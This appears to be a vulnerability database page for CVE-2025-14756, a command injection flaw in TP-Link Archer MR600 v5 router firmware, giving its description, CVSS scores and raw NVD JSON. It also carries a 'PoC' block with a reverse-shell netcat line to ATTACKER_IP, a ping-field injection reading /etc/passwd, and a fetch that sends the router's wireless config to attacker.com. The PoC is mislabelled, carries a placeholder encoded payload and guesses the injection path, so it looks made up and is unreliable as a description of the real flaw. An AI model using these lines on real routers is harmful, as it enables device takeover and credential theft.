Security Vulnerability Report
中文
CVE-2025-14756 CVSS 8.8 HIGH

CVE-2025-14756

Published: 2026-01-26 19:16:09
Last Modified: 2026-03-09 14:07:52
Source: f23511db-6c3e-4e32-a477-6aa17d310630

Description

Command injection vulnerability was found in the admin interface component of TP-Link Archer MR600 v5 firmware, allowing authenticated attackers to execute system commands with a limited character length via crafted input in the browser developer console, possibly leading to service disruption or full compromise.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tp-link:archer_mr600_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:archer_mr600:5.:*:*:*:*:*:*:* - NOT VULNERABLE
TP-Link Archer MR600 v5 固件 < 最新安全版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-14756 PoC - TP-Link Archer MR600 v5 Command Injection // Author: Security Researcher // Note: This is for educational and authorized testing purposes only // Step 1: Login to the router admin panel (credentials required) // Navigate to: http://192.168.1.1 or router's IP address // Default credentials: admin/admin or check device label // Step 2: After successful authentication, access diagnostic page // Common path: Maintenance > Diagnostics or Tools > Ping/Traceroute // Step 3: Open browser Developer Console (F12) // Execute the following command injection payload: // Basic command injection - list files var cmd = "ls -la"; // Inject via diagnostic function (example - actual function varies) eval(atob("Y29tbWFuZCBpbmplY3Rpb24gcGF5bG9hZA==")); // Reverse shell connection (example - modify IP/PORT) var rev_shell = "nc -e /bin/sh ATTACKER_IP 4444"; // Encode to bypass length restrictions var encoded = btoa(rev_shell); // Execute via admin function window.location.href = "/cgi-bin/luci/;" + encoded; // Alternative: Direct command execution via ping feature // If ping utility is available in diagnostics: var ping_payload = "8.8.8.8;cat /etc/passwd"; // Call ping function with payload ping(ping_payload); // Data exfiltration example var exfil = "$(cat /etc/config/wireless | base64)"; // Send data to attacker controlled server fetch("https://attacker.com/exfil?data=" + btoa(exfil)); console.log("[+] CVE-2025-14756 PoC executed"); console.log("[+] Check router response for command output");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14756", "sourceIdentifier": "f23511db-6c3e-4e32-a477-6aa17d310630", "published": "2026-01-26T19:16:08.573", "lastModified": "2026-03-09T14:07:51.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Command injection vulnerability was found in the admin interface component of TP-Link Archer MR600 v5 firmware, allowing authenticated attackers to execute system commands with a limited character length via crafted input in the browser developer console, possibly leading to service disruption or full compromise."}, {"lang": "es", "value": "Vulnerabilidad de inyección de comandos fue encontrada en el componente de la interfaz de administración del firmware TP-Link Archer MR600 v5, permitiendo a atacantes autenticados ejecutar comandos del sistema con una longitud de caracteres limitada mediante entrada manipulada en la consola de desarrollador del navegador, posiblemente llevando a la interrupción del servicio o a un compromiso total."}], "metrics": {"cvssMetricV40": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:archer_mr600_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.0", "matchCriteriaId": "991F601E-ED84-46CB-A161-1791F287301D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:archer_mr600:5.:*:*:*:*:*:*:*", "matchCriteriaId": "82C7F337-1E8A-426D-9F7D-EEB150E18092"}]}]}], "references": [{"url": "https://jvn.jp/en/vu/JVNVU94651499/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Third Party Advisory"]}, {"url": "https://jvn.jp/vu/JVNVU94651499/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Third Party Advisory"]}, {"url": "https://www.tp-link.com/en/support/download/archer-mr600/#Firmware", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/jp/support/download/archer-mr600/#Firmware", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/us/support/faq/4916/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Vendor Advisory"]}]}}